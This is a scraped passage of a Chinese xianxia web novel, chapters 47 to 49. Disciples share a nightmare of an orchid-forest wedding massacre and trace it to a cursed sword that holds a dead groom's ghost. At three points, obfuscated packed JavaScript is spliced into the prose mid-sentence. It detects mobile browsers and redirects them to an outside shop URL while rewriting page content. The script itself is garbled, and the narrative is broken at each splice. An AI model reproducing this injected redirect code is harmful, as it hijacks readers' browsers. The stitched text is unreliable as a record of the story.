他一夜沉眠,完全不记得自己怎么回来的,不过拉起衣襟闻了闻,嗅到熟悉的暗香,看来是被师弟弄回来的无疑了。 白翎抻着懒腰下地,没看见裴响。 木架上搁着铜盆,盆上贴了符箓,里面清水犹温。 白翎慢吞吞地洗漱,忽然听见屋外有人说道:“既然阿翎已为你备了丹药,你日后运功,按照力所能及的步调来。莫急于求成,也不必瞻前顾后。” “是。谢谢诸葛师兄。” “刚才给你看的,是修《太上迢迢密文》的前辈相关记载。你应该明白,此道凶险。但,也可从中体悟教训,不至于重蹈先人覆辙。” “好,我会加以回顾。” “天生剑骨的皆是奇人,你自有机缘,我不干涉太多。总之,平日你与阿翎在一起,我很放心。若还有其他疑难,再问我也无妨。” “……”这次,少年清冷的嗓音停顿片刻,才道,“我明白。” 语声温沉之人笑道:“何故提及阿翎,你的神色总有一瞬间变化?” 另一人艰难回答:“他……” 白翎正打算推门出去,给俩人一个正午惊吓,听到这个问题,手停在空中。 结果他已经被诸葛悟发觉了,青年剑修回身道:“阿翎终于起了?” 白翎只好现身,雄赳赳气昂昂,背着手来到露台上。 他微笑着向二人致意:“大师兄好,小师弟也好!早啊两位。” “不早了,阿翎。”诸葛悟轻叹,“我清晨回来,小裴已经在静坐,我问他你起了没,他居然说你快了。” 裴响面无表情地移开视线。诸葛悟继续道:“嗯,快是快了,快了三个时辰。” 白翎保持着微笑:“……” 诸葛悟端详他片刻,问:“你穿的是女修道服吗?我不在,你就是这样对小裴言传身教的?” 白翎的微笑保持不住了:“………………” 他倏地转身,往屋里走:“还没有吃早膳!好饿!” 白翎转悠一圈,什么也没找到,又出门来,恰好碰上鱼妖侍从带着蝌蚪精,顶着锅碗瓢盆、十几个菜登上露台。 白翎奇道:“咦?今天这么丰盛,怎么吃得完。” 裴响不情不愿地开口:“早上徐景来过,约定共进午膳。” 白翎:“哦——徐师弟啊,他最后买到剑了吗?” 裴响说:“没注意。” 妖精们动作麻利,很快拼好了长桌,支起帐幔,以免瀑布的水花飞溅。林暗带着师弟师妹们,一同造访,众人论资排辈地坐了,白翎想去喊尹真来,却被林暗拦住。 林暗道:“别喊他了,白师弟。从海市回来,绯衣真人跟行尸走肉的,看样子要睡个七天七夜。” 白翎便坐回原处,抄起筷子说:“好吧好吧,我们吃。” 林暗却道:“你呢?昨晚不也睡得人事不省,现在可好了?真是辛苦裴师弟,又要背你,又要打伞,他……” 女修自觉失言,舀了一勺汤入口。 白翎惊讶地转头问:“真的吗阿响,那你怎么把我弄回来的?” 裴响沉默片刻,学他转移话题:“徐景呢。” 白翎才发现少了个人。 田师妹答道:“他去跳蚤市场啦,非要在离开之前,淘一把好剑。甭管他,咱们先吃。” 众人心照不宣,飞宫非久留之所,黑市闭幕,他们便该踏上归程了。所以,此地景象可能要两百年后才能再见。届时物是人非,指不定时过境迁。 加上诸葛悟在场,无形中给驾鹤一脉的小辈们施加了压力,没人说笑。 整张桌上只有白翎一个人该吃吃、想讲讲,发现小辈们的回应远不如平时活跃,不禁感到些许忧伤,希望徐景快点回来,那家伙胆子大点。 没想到,徐景回是回来了,却到今日晚间才回。 湖下山庄灯火璀璨,白翎倚在露台的栏杆上,捧着小妖药茶暖手。他俯瞰下方的客栈广场,发现一件怪事:魔修们的脸色都不太好,落单的眉头紧锁、同行的窃窃私语,好像出什么事了。 恰好徐景归来,搂着崭新的剑匣。 他神色兴奋,迎面撞上准备去找他的田师妹等人,喊道:“我买到剑了!仙级剑胆铸就的,属性完全合适!” 白翎过去贺喜,问:“多少钱买的?看起来不错嘛。” 徐景道:“嘿嘿,要价不高,才一千两。因为是有过主的,打了折扣,不然肯定不止这个数!” 剑修若想让手中剑出神入化,必须认定本命剑。人剑相连,福祸同当,才能使剑法登峰造极。如果要认他人赐名的剑作本命,非常困难,剑的价值也会有所下降。 好在对徐景而言,先顶上手头的空缺才是要紧事。能买到属性契合、品质非凡、价格实惠的仙剑,已经算他撞大运了。 但不知徐景扎到哪里去买的剑,身上犹有魔气。 田师妹忍不住数落他,而徐景还在兴头上,给白翎打开剑匣看了一眼,便跑去找大师姐展示了。 在剑匣开启的刹那,一股浓郁的花香扑面而来。 白翎被熏得打了个喷嚏,不禁胡乱猜测:是什么花来着?月季,芙蓉,还是兰花? 可惜裴响在房中静修,不然问他的话,肯定知道。 匣中的寒光惊鸿一瞥,的确是一把不可多得的好剑。白翎不理解,为何要给剑匣熏香,但他们身在魔域,或许本地人有这种无伤大雅的风俗,也不一定。 田师妹叉着腰说:“徐景回来得太晚了。裴师弟定的客房明天才到期,提前走又不退钱,咱们明早再走吧?” “好啊,山庄的早膳不吃白不吃。”白翎一边回身答应,一边走上自己与师弟的露台。 田师妹质疑道:“你起得来吗?” “啊这个嘛……一定一定!明天见。” 白翎背对她和另三个师弟,挥了挥手。近日长途跋涉,飞剑劳顿,连他这个通宵好手都犯困得早。 白翎打着呵欠推门,见裴响仍在茶案后端坐,少年人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14262450|145892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的侧影挺拔,一滴金虹灵泉飘动在他前方,熠熠闪光。 白翎无声地道了句“晚安”,倒头就睡。 — “嘀嗒”一声,钟漏多走了一格,将白翎惊醒。 他把眼睛眯开一条缝,不知怎的,意识十分模糊。或许,是半梦半醒的缘故。 但白翎闭上眼,怎么也无法重新入睡。同时,他感到身下的触感异样,好像不是温暖柔软的大床。有什么东西轻轻地扎着面颊,颇为刺人。 此感受似是而非,白翎不得不睁开双目,发现自己躺在地上。一枚草叶沾在他脸边,正是刚才刺挠他的罪魁祸首。 而他之前听到的“嘀嗒”声,也非更漏发出,而是叶尖凝聚的露水,自上方滴下,砸在青石的浅坑里。 花香袭来,与徐景新剑匣里的味道如出一辙,迷离得像能致幻。白翎呆坐片刻,心神始终懵懂,终于意识到了自己在做梦,而且独处于一片幽森的树林间。 确切地说,梦境是一片兰花林。 树影葳蕤,枝叶间漏着荧蓝的微光。根系之间,芳兰密布,花色艳如桃李,寒气冷若冰霜。 一条年迈的石径从白翎身后经过,蜿蜒向上,深入山野。白翎站起来,竟好像魂魄一般轻飘飘的。 “奇怪……” 他嘟囔了一句,反正也不知去哪,身边又没有旁人,索性拾级而上,看看路的尽头是什么。 拨开横生的枝叶,诡异的幽蓝色光晕在叶间晃动。白翎一动步子,便听见窸窸窣窣的细响,他停步回头,却见满地兰花静悄悄地开放,那响动又消失了。 白翎继续前进,游魂似的脚不沾地。 一阵缥缈的喜乐传来,他侧耳倾听,确实是敲锣打鼓的动静没错。然而在深山老林里办红事,可能比白事还吓人。 白翎被勾起了好奇,循声走出林子。霎时间,眼前豁然开朗,一片星空花谷出现在他的视野中。 白翎站在山崖上,被风吹得晃荡。入目是广阔的谷地,兰花不疏反密,在月下争奇斗艳。夜空高远,繁星璀璨,如此美景似画卷飞展,令人心醉。 白翎正欲感叹两句,背后突然响起踩断树枝的声音。他下意识拔剑,却摸到了一柄不属于他的卷刃刀,刚拔在手里,刀锋就断了。 白翎不得不提着这把破刀回身迎敌,不料看见来人,立即把刀放下了,惊讶地唤道:“阿……阿响?” 不怪白翎迟疑,因为此时的裴响,上半身几乎变成了骷髅。别说皮肉了,他的心肝脾肺肾全被掏空,仅剩半副骨架子。 可是,裴响的神态如常,甚至在看清白翎眉眼的刹那,松了口气,好像他乡遇故知似的。 师弟快步走来,一向整洁的道服破破烂烂。幸好他腰封扎得紧,才没有太失礼。 而白翎的脑海里仍一团浆糊,梦境压着他的思绪,不让他苏醒。望着裴响流畅的步伐,白翎面露怔忪,骤然意识到了别的—— 他撩起道服下摆,发现下面空空如也。 难怪他像鬼一样飘动,原来是没有腿呀! 47.四十七、兰林 “是在做梦对吧?”白翎戳了一下裴响的肩头,似乎碰到了,又似乎穿透过去。他喃喃道,“为什么会梦到阿响……” 裴响不太真切的声音响起:“是梦。你听见喜乐了么?” 他垂着眸,细细观察白翎的神色,见白翎也没有痛苦的样子,才道:“我们都是残尸。” 白翎眨眨眼睛,慢半拍地反应过来,问:“阿响不是我梦到的?” 裴响道:“我们在做同一个梦。” “太奇怪了吧,我不信。除非你喊我一声‘师兄’。” 裴响话少,“师兄”也喊得少。虽然他称诸葛悟一直是很有礼貌的“诸葛师兄”,但对白翎,几乎从没有喊过。偶尔数次,除了初见面尚且拘谨的时候,便是在阴阳怪气。 裴响张了张口,果然喊不出来,微微恼道:“如此古怪的关头,你……你还任性。” 白翎嬉笑道:“好啦,好啦,验明正身!都怪徐景买的剑。” 裴响:“剑?” “不知道他哪买的,打开新剑匣的时候,我闻到了和林子里一样的兰花香。那把剑有问题。不过,只有我们梦到这吗?要不去前面看看,说不定能找到其他人。” 白翎习惯性地伸手拉师弟,看见他透风的上半身,不忍卒视,龇牙咧嘴地问:“看起来好痛……阿响,你真的没事么?冷也不冷?” “没事。”裴响与他找到一条绕下悬崖的小路,又道,“不冷。” 是了,在梦里会淡化意识与感官,否则就要醒了。 喜乐声愈发清晰,从花谷的中心传来。一座破庙隐匿在繁盛的兰花间,门口贴着褪色的楹联:“情真意假梦中身溺水,似是而非局外人观火。” 横批长达八个字:“爱信不信,爱来不来。” 裴响蹙眉道:“平仄不工整。” “是吗?”白翎飘进院子,见左右摆放着许多小像。木雕泥塑什么都有,高矮林立,参差不齐。 每尊小像都是精心打理过的,穿紫披绿,像是来赴宴的宾客。雕刻它们的手法很拙劣,许多小像眼歪嘴斜、甚至忘了捏出耳朵,乍一看,跟化形还不熟练的妖精一般。 小像们点了黑眼珠,全部咧嘴笑着,望向法堂。喜乐声更热闹了,在法堂里锣鼓喧天,震得房梁上簌簌落灰。 白翎大喇喇推门,差点被吵成聋子。喇叭声近在咫尺,冲着他耳朵吹,白翎往旁一闪,才发现屋里的小像是活的。 法堂里没有人,只有欢天喜地的小像们。石块做的脚在身下滚动,满屋子小像跑来跑去。细看之下,喇叭不是喇叭,而是一大捧牵牛花,朝两位不速之客“哔哔卟卟”个不停。 红光照面,烛火满堂,墙上贴着双喜字。筵席夹道,小像们觥筹交错,树枝或者泥捏的手拿不稳酒杯,洒得满地亮晶晶,酒香浸润了花香。 而在法堂尽头,一对新人正在举行婚礼。 穿着大花袄的媒婆人偶嘴角点痣,绕着他们手舞足蹈。司仪木雕的脸上刻着笑容,甚至涂了一口大白牙,不过画出界了,脸上也沾满白灰。还有敲锣的泥人,其实在敲一个破碗;打鼓的石像,“咚咚咚”以头抢地。 白翎纳闷道:“它们在玩过家家吗?” 裴响:“什么?” “就是小孩儿的游戏。我演爸爸,你演妈妈……举个例子啦阿响,总不能说你演儿子吧。” 白翎试着走进法堂,梦境并未被他扰乱,小像们仍旧各干各的。不过庙宇早已荒废,他每走一步,地板都微微下陷。 白翎观察着背对他的新婚夫妻,发现他二人的身形与正常人一致,而且刚才“一拜天地、二拜高堂”,他们的动作灵活,应该不是捏造的。 但白翎还想往前走时,周围的小像们忽然发生了变化。 它们画的或刻的脸不笑了。白翎一动步子,它们便回头来齐刷刷地盯着他,一对对漆黑的眼珠子,眨也不眨。白翎后退,它们又转回去有说有笑;白翎前进,它们再倏地转过来,安静不语。 梦境有限制。 想让入梦之人当旁观者?白翎倒是不急,索性招呼裴响过来,同他入席。 席面都是按小像的尺寸打造的,一块老树皮铺在地上,煞有介事地摆两片树叶、搁几枚野果,便是丰盛的菜肴。 两个身姿高挑的男人挤在一处,白翎没有腿还好点,裴响收拢四肢,仍快把靴子踩到隔壁的席面上去。 恰在此时,变故陡生。 两位新人进行完“夫妻对拜”,新郎官的袖中寒芒一闪,竟然拔出了一柄锃光发亮的仙剑。 他沉声道:“放心,阿眠。只是一瞬。” 下一刻,剑锋直刺新娘的胸口! 满堂哗然,白翎也愣了一下,倏地飘到半空。他窜得太厉害,险些撞上屋顶,或许撞上了,只是不觉得痛。 幸好,仙剑顿在半空——却不是新娘子有所格挡,而是什么尖利无比的东西,“嗤”地洞穿了新郎胸口! 新郎官面露惊愕,仙剑“锵啷”落地。他的生机迅速流逝,刺穿他心脏的东西隐约是怪物利爪,猛地一划,将他开膛破肚。 戴着红盖头的新娘察觉不对,喃喃唤道:“萧郎?” 她正欲揭开盖头,法堂尽头的墙壁忽然爆裂,什么仙尊贴画、魔王金身,全部打得稀烂。 烟尘滚滚,顷刻间吞没了新婚的二人。破庙不堪重负,轰然坍塌,白翎忙钻回裴响身侧,小像们失去了灵气,一个个倒在地上。 一阵令人毛骨悚然的声音响起,怪物在大力撕扯皮肉。它畅快地茹毛饮血,片刻后,新娘声嘶力竭的惊叫传出废墟。 浓烟与扬尘实在厉害,倒下的茅草顶挡住了路。白翎急得乱飘,幸好裴响发现了一处空隙,向他示意:“这里。” 白翎立刻跟过去,果然有一条缝。 透过缝隙,只见鲜血横流。新郎官早已气绝,头都被啃掉了半个,更别提淌了一地的肠子,以及到处乱飞的脏腑。 什么东西在眼前滴落,原来是一坨碎肉溅在上方,血半凝不凝。白翎头回直面如此富有冲击力的吃人现场,不禁沉默了,退开点问:“新娘呢……” 裴响亦浅浅皱眉,半晌才道:“地上有一角盖头的碎片。那边,还有一处空洞。” 白翎双手撑着眼皮,再度往缝里看。果然,一块被扯烂的红盖头掉在血泊中,旁边是断壁残垣支起的间隙,恰好容一人通过。 怪物不见了,新娘子也无影无踪。最大的可能是新娘子目睹惨状,逃出破庙,怪物追了上去。 白翎正想绕到新娘逃走的破洞处,忽然听见林暗的呼唤:“有人吗?” 白翎还没答应,便感到一阵天旋地转。他整个人往上飘,似灵魂出窍,即将脱离梦境。 苏醒前的最后一刻,白翎硬是往新郎的残躯周围仔细观察了一遍。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14272596|145892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仙剑不见了。 新郎准备用来杀妻的仙剑,同样不翼而飞。 — 白翎猝然坐起,第一反应是摸自个儿的腿。 太好了,他的腿脚俱全,而且依然在客栈华贵舒适的大床上。 白翎立即翻向床边,去找师弟。不料裴响正躺在那儿,险些被他撞下地去。 两人同时发出轻哼,白翎愣道:“阿响?” 裴响也睁开眼,顷刻间站到地上,踩着他这两日铺的被褥,面色微僵。 幸好,白翎犹想着刚才血腥又怪诞的梦,并未细究坚持打地铺的师弟为何躺在拔步床边缘,上前抓住他问:“兰花,破庙,婚礼?” 裴响一怔,道:“去找徐景。” 他们二话不说,同时伸手向床头衣架,取了外袍腰封,三两下穿戴完毕。当他们跃上徐景客房的露台,门里正传出惨叫:“啊啊啊!” 白翎一脚踹向房门,试图破门而入。 结果客栈的门质量太好,他并没有像江湖豪侠一样神兵天降,而是只踹出了一个窟窿,腿卡在里面拔不出来了。 白翎:“……” 白翎面露震惊,心说怎会如此?!屋里的徐景听见动静,发现门上嵌了条腿,嚎得更加惨烈。 一双手从背后伸到肋下,把着白翎的腰,将人端了出来。 熟悉的被端的感觉,白翎眨眨眼,说:“谢谢阿响……” 少年人把他好好地放在一旁,望着他轻出口气,而后把房门往外一拉。门十分轻巧地开了,原来是只能向外打开的,且根本没有上锁。 白翎面露微笑,佯装整理仪容仪表,无事发生。 他踱步进了屋内,满怀关切地问:“徐师弟,你怎么了?” 徐景只穿着中衣,抱着被子面无人色。他哆嗦了好一会儿,总算摆正舌头,语无伦次地说:“白仙长,我的房门长脚了……不对,有怪物要吃我!我、我的五脏六腑,啊,肚皮还在……等等我夫人呢?我是不是把她杀了!奇怪,我为什么要杀她??不对不对,我什么时候有夫人了???” 白翎与裴响对视一眼,同时看向桌上的剑匣。 兰花的香气犹在,不仅未散,还愈发浓烈,令人作呕。白翎在面前挥了挥手,打开匣子,却见里面什么都没有,好笑地问徐景道:“你的新欢呢?” “什么?我……我的剑?”徐景总算平复了些,说,“一直收在剑匣里啊……我跟它还不熟,先让它好好休息……” 话音刚落,徐景便在身侧碰到了什么东西。他一低头,霎时如惊弓之鸟,大叫道:“怎怎怎么在这!我睡前拿出来过吗?!” 徐景连滚带爬地下了地,回头盯着床上,惊魂未定。林暗也携其他的师弟师妹到了,诸葛悟手挽拂尘,悄无声息地落在白翎和裴响身后。 众人皆望向徐景的床榻,只见一柄仙剑斜插在被褥间。和徐景同住的师兄躺在另一侧,被徐景鬼哭狼嚎了这么久,竟然还一动不动,显然也状况不佳。 与昨日寒光闪烁的仙剑不同,此时的剑身上,抓痕交错,像被怪物啃过一般,坑坑洼洼。 不仅如此,剑锋上还染着一抹血痕。在众目睽睽之下,仙剑仿佛活了,将血迹吸入血槽、吸食干净。 林暗问:“那是谁的血?” “是……是我。”徐景伸出颤抖的手,掌心新伤横陈。话音刚落,他便直挺挺地倒在了地上。 48.四十八、抽丝 徐景的血被魔剑吸收之后,神思昏聩,陷入了浑浑噩噩的中邪状态。 不仅是他,还有和他共住一间客房的师兄,同样被魔剑割伤,早就不省人事了。二者的症状相同,皆是双目泛白,一副丢失了魂魄的模样。 林暗为他俩招魂,然而收效甚微。她祭出在海市收购的照妖宝鉴,勘察魔剑,没想到这么一照,当即照出了端倪: 徐景买回来的剑上,竟附着一缕极强大的冤魂! 一个人生前强,魂就强;生前弱,魂也是投胎路上都要被踩几脚的无名小鬼。照妖宝鉴一个劲儿地发颤,显然照出来的东西不容小觑。 白翎以肉眼看魔剑时,除了乱七八糟的抓痕,并没有看出其他的怪异之处;但当他望向照妖宝鉴的镜面,却见映出来的魔剑上影影绰绰,隐约有个男人站在那里。 白翎倒抽一口凉气,喊了声“兄台”。毫不意外的,人家一动不动,并不理他。不过,白翎发现男人身穿大红吉服,十分眼熟—— 没错,正是他们在梦里见到的新郎官! 被怪物生吞活剥而死,怪不得无法安息。 白翎还记得,梦里的新娘子和剑都消失了。莫非新娘带着新郎的剑逃跑,几经周折后,把剑卖给了徐景? 她险些被新郎杀妻证道,还招惹了骇人的怪物,逃出生天后,确实有可能用负心汉的遗物换钱。更别提负心汉的冤魂就附在剑上,新娘肯定巴不得将其脱手。 奇怪的是,徐景刚买到剑的时候,明明是一把寒光闪闪的仙剑。一夜之间,魔剑原形毕露,害得两名师弟遭殃。怎么看都像是魔剑蓄意伪装,冲着他们来的。 白翎立即把梦中见闻复述了一遍。他还记得,醒来前听到了林暗的呼唤。 被拉进梦中的绝不止他与裴响两个,或许离得近的住客都被影响了,只是他和裴响离得最近,入梦最深,所以仅有他俩目睹了婚礼现场。 不过,诸葛悟并未入梦。 林暗据此判断,新郎官生前的境界与她相仿,皆是元婴前期。诸葛悟修为更高,自然不会受冤魂影响。 田师妹懊恼道:“都怪我昨天犯懒。不该放徐景一个人出去的……” 林暗说:“事到如今,不是分辨对错的时候。漪儿,徐郎买剑回来时,说了什么?” 田漪努力回忆道:“就说他买的剑如何如何好,属性合适、价格便宜,完全是撞大运之类的……” “俨然是为他量身打造的圈套啊。”林暗轻叹一声。 不过,她一说完,立即也察觉了不对,道:“徐郎有何值得行骗之处吗?” 白翎小声道:“没有。而且正常魔修都不会把头发染成绿的,会让人怀疑精神不正常。再说了,他和那位师兄被害成这样,死是死不掉、醒也醒不了,更像在拿他俩要挟我们。” 他脑子转得飞快,问:“新郎官是不是认识你们的人?” 驾鹤一脉皆是一惊。 白翎猜得有理,能透过徐景的浮夸伪装认出他的,必然是与驾鹤一脉有所接触之辈,甚至,与之相熟。如此看来,剑中的冤魂很可能是道场仙友。 诸葛悟因未入梦,静静旁观。林暗双目稍虚,拿过魔剑细看。 血槽的纹路古朴,让她感到熟悉,但剑的名字刻在剑格上,被怪物的利爪划过,只余后一个字,勉强可以辨认。 林暗喃喃道:“阳?” 她神色微变,将魔剑一翻,道:“莫不是‘新阳’!问镜一脉的三代首席大弟子……萧缘的剑!” 听见了不认识的名字,白翎举手问:“是上回那对姑侄的大师兄么?” 在“老君鼎”买药的时候,白翎曾和一个很能骂、很会骂的仙姑有过一面之缘,她还带着她家贤侄。据她所说,他们是为受伤的大师兄去问药的。 田漪紧张地回答:“没错,正是他们。可是萧缘在争夺‘残念果’的时候身负重伤,应该在静养才对,怎么会死在……死在一片鬼气森森的兰花谷里?黑市有这样的地方吗?” “天上当然没有兰花谷,地上才有。”又一人姗姗来迟,一袭红衣,正是对魔域十分了解的尹真。他见所有人围在一起,而且气氛凝重,顿了顿问,“怎么了?” 白翎喜道:“你好啊尹兄,来得正巧!你昨晚睡得怎样,有没有做一个怪梦?” “好像做了,但我没管。”尹真皱眉道,“为什么要管一个梦?” “你这样说我倒是毫不意外……”白翎扶额,飞快地重复了一遍现状。 不料,尹真一听他描述梦中景象,便露出了若有所思的神情。等白翎讲完新郎新娘的惨案,他更是了然,道:“小年轻去那里结侣,不奇怪。那地方叫‘相思林’,吃掉新郎的怪物是一大妖王,真身是兰花螳螂。你们应该听说过?母螳螂会吃掉公的。它们修炼成妖后,也很喜欢吃男修。” 白翎奇道:“那还去干嘛?什么相思林,好土的名字,叫‘想死林’更合适吧!” 尹真说:“因为兰花螳螂会考验新婚的道侣。它们化形成俊男靓女,测试双方是否对婚姻忠诚。不通过的直接吃掉,通过的可以在兰花妖王的见证下结侣,获得两枚香囊,作为他们忠贞不渝的嘉奖。” 白翎干笑道:“还有纪念品哈……通过考验的多么?” 尹真道:“不多。有些人才,两个都被吃了。” 白翎:“……” 白翎评价道:“就是想死林嘛!萧什么……萧缘?他一个道修,跑去魔修流行的鬼地方结侣干什么。而且不通过考验的人直接被吃掉……那他们还三拜天地二拜高堂?难道萧缘结婚结到一半,外面有人了???” 他话音停住,与众人面面相觑片刻,恍然大悟:“杀妻证道!” 田漪也明白过来,低呼一声。 另两个师弟连连点头:“对对对,白仙长刚才说的!” 裴响轻蹙眉尖,道:“萧缘在夫妻对拜时,欲对新娘动手。兰花妖王正是在彼时现身的。” 白翎头回听他在大家讨论的时候发言,向师弟眨眨眼,道:“看来妖王还挺有职业素养的,坚守到最后一刻呀。” 站在他们后面的诸葛悟轻咳一声,传音让白翎严肃点,不要在这种时候讲稀奇古怪的话。 他有意给师弟们历练的机会,所以一直旁听,并不发言。但白翎同样是一位关心师弟个人发展的好师兄,见裴响破天荒地开了尊口,颇为欣喜。 他往裴响身边挪了一步,低声怂恿:“阿响还有什么想法?都可以说嘛。” 裴响沉默片刻,道:“不过是重申实情罢了。” 白翎正欲反驳,林暗沉吟道:“萧缘修的功法属无情道,是有杀妻杀夫的惯例。但他……并不是个狠辣之人。” “大师姐说得太客气了。”一名师弟插嘴,说,“萧缘优柔寡断,在元婴前期蹉跎了两百多年,属实没有剑修的心性。” 另一名师弟也道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14285027|145892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“对啊,他完全是老好人嘛。以前咱们跟他家的蠢驴不对付,他从来都是和稀泥。我们气得要死,他的师弟师妹也个个不服。问镜一脉有这样的大师兄,属实是他家道君的福报……” 话题不由自主地跑到了叛出驾鹤一脉的逆徒身上,林暗扫师弟们一眼,止住话头。 田漪说:“正因萧缘是个软骨头,才做不到断情绝爱,境界当然上不去。不过他居然能找到人结侣?他啥时候认识的女修呀??他那种锯嘴闷葫芦,怎么会有女修搭理他……不对,他根本不会开口吧!” 白翎掏出碧落幡的残片,试图把萧缘的冤魂引出来。若是已死去一段时日,鬼魂又没有合适的容身法器,是无法与活人沟通的,毕竟人鬼殊途。 在幡中温养的唐棠和宁雪二鬼也严阵以待,准备好了迎接一位凶神恶煞。不料,白翎都快把幡布擦到剑身上了,萧缘仍无出来的意思。 白翎挠头道:“都成冤魂了,还这么不爱说话啊?” 驾鹤一脉的师弟们急个够呛,忍不住骂道:“姓萧的,你到底在搞什么污糟!莫名其妙死掉就算了,来缠着我们是怎么回事?” “有什么委屈速速道来,何必霍霍徐景和冯丘!他俩是背地里喊你窝囊废,但谁叫你每次劝架的时候都搁那‘呵呵呵呵’?” 趁他们对着魔剑叽嘹,白翎悄悄地举起照妖宝鉴找角度,凝神观察。 裴响亦投来视线,轻声道:“萧缘是不想出来,还是不能。” 白翎道:“唔……是不能。” 他忽然发现,镜中映出的萧缘亡魂,双手并非自然下垂,而是按着什么东西一般。 白翎灵机一动,说:“徐景他俩的魂儿是被萧缘吸走的吧?难怪他不出来,他出来的话,就没法把徐景他俩按在里面了。他们仨待在剑里,我们不能直接把剑毁了,只能听他的。” 白翎说罢觉得好笑,吐槽道:“问题是萧缘不出来没法沟通啊!他就这么信任我们,只凭一把破剑,能达成他的遗愿?” 驾鹤一脉的师弟怒道:“狗萧缘,有屁快放!” 林暗接过宝鉴,神色严峻。冤魂和只知泄愤的怨灵不同,其所作所为动机鲜明,一般是为了给自己沉冤昭雪。 可是,萧缘能有什么遗恨? 杀妻证道是他的选择,修真界多得是被道侣反杀之徒,没见过哪个不服气到成了冤魂的。 两名师弟半死不活,林暗关心则乱,一时间颇为头疼。 一个自闭老好人突然结侣,已经够反常了,他竟还痛下杀手,欲用道侣性命当进境的垫脚石。最后人没杀成,他反作了妖王盘中餐,含恨滞留人间…… 桩桩件件,无不古怪。最古怪的是,如果萧缘一早决定了杀妻证道,他为何会去相思林接受考验?难道他真的想死? 林暗将内心疑虑缓缓道来,众人陷入沉默。诸葛悟无声地笑了下,似有想法,但目光落在两位师弟身上,等他们继续思考。 白翎摸起了下巴:“嗯……” 裴响道:“还有一事。” 白翎立即问:“阿响想到什么啦?” 裴响本不习惯当众分享思绪,但迎上白翎亮晶晶的双眼,终是说道:“林真人提及萧缘前辈的功法属无情道,势必诛杀道侣,应当没有玄门中人会冒性命之忧,迎难而上。而他瞒着所有人,在魔域举办婚礼……” 裴响不言,驾鹤一脉的小辈们齐声惊呼:“他娶的是个魔修!” 49.四十九、剥茧 白翎带头鼓掌:“好!说得好!” 裴响被他弄得不自在,垂下眼睫,不肯再讲话了。 诸葛悟拿两个师弟没办法,向林暗递了个抱歉的微笑。不过冤魂的身份已经明朗,徐景和冯丘也暂且没有性命之忧,林暗的神色疏松几分。 如果萧缘搭上的是魔修女子,便能解释他为何没有走漏半点风声了。 出身道统的名门首席大弟子,与妖女胡来,放在话本子里是时兴的桥段,但真发生在道场的话,连他的师尊都要被昭雪司降罪问责。 尹真问:“怎么说,一块儿去相思林打个转?” 白翎好奇道:“那地方究竟在哪儿啊。” 尹真:“在我们脚下——或者说脚下的脚下。黑市在沉音剑冢的上空,你们还记得沉音魔尊吧?就是那个……” “好了不用说了!他化成灰我都记得。”白翎呵呵一声,不愿回想师兄弟三人的悬赏画像。他迟早要把画师逮住抽成陀螺。 林暗轻出一口气,道:“事态复杂,疑云丛生。萧缘并非泛泛之辈,不论是他心怀不轨遭报应也好、还是魔修蛊惑他丧命也罢,皆不是能等闲处之的。我必须去会一会兰花妖王。” 她思虑片刻,肃容道:“此行深入沉音剑冢,比之黑市,凶险百倍。渡尘真人,我愿以驾鹤一脉之名,请求展月一脉相助。当然,我无意令两位师弟涉险,只是请你同行。若此事得以平息,我可在新任道君大选上,助你一臂之力。” 白翎问:“新任道君大选?” 诸葛悟一时沉默,在作衡量。 林暗说:“你们战胜定坛道君,消息已经传遍秘境了。根据展月老祖定下的规矩,必须有七名道君坐镇人世,守卫修真界安宁。定坛道君陨落,顶替他的人该由道场大选决出。目前来看,诸葛道长境界高深,是下一位道君的不二人选。” 白翎想起来了,是有这事。定坛道君依靠老祖赐下的护身符,修为跌到金丹期,勉强逃逸。 诸葛悟还说过,若有三名道君的护身符受损,相当于人界告危。展月老祖便会从云端睁眼,重新降世。 白翎突然生出了一个荒唐的念头——要是能以此召动老祖,是不是就能知道他为什么会抽到《喜乐诸天奇经》了?甚至有可能知道,他为什么会穿越到这个世界。 展月老祖是当之无愧的古今天地第一人,堪称此世主宰。穿越牵涉到时空异常,他未必知晓,但功法都是他收录进全性塔的,老祖肯定无所不知。 白翎简直抓心挠肺地想弄清楚,何故是他得了《喜乐诸天奇经》的青眼——何故偏偏是他! 按捺了三百年的不解与困苦,乍开了个口子,便像心魔滋生。 可惜,白翎十分清楚:且不说他要问的东西无关苍生、只有他一人受罪,因此打扰老祖是多么的大材小用;光说可行性吧,他得让三名道君承受性命之忧—— 完全是痴人说梦啊! 定坛道君已经占了个名额,还需两名。问题是,白翎和其他道君无冤无仇,害人家干嘛?新一任道君甚至可能是他师兄,怎么看怎么此路不通。 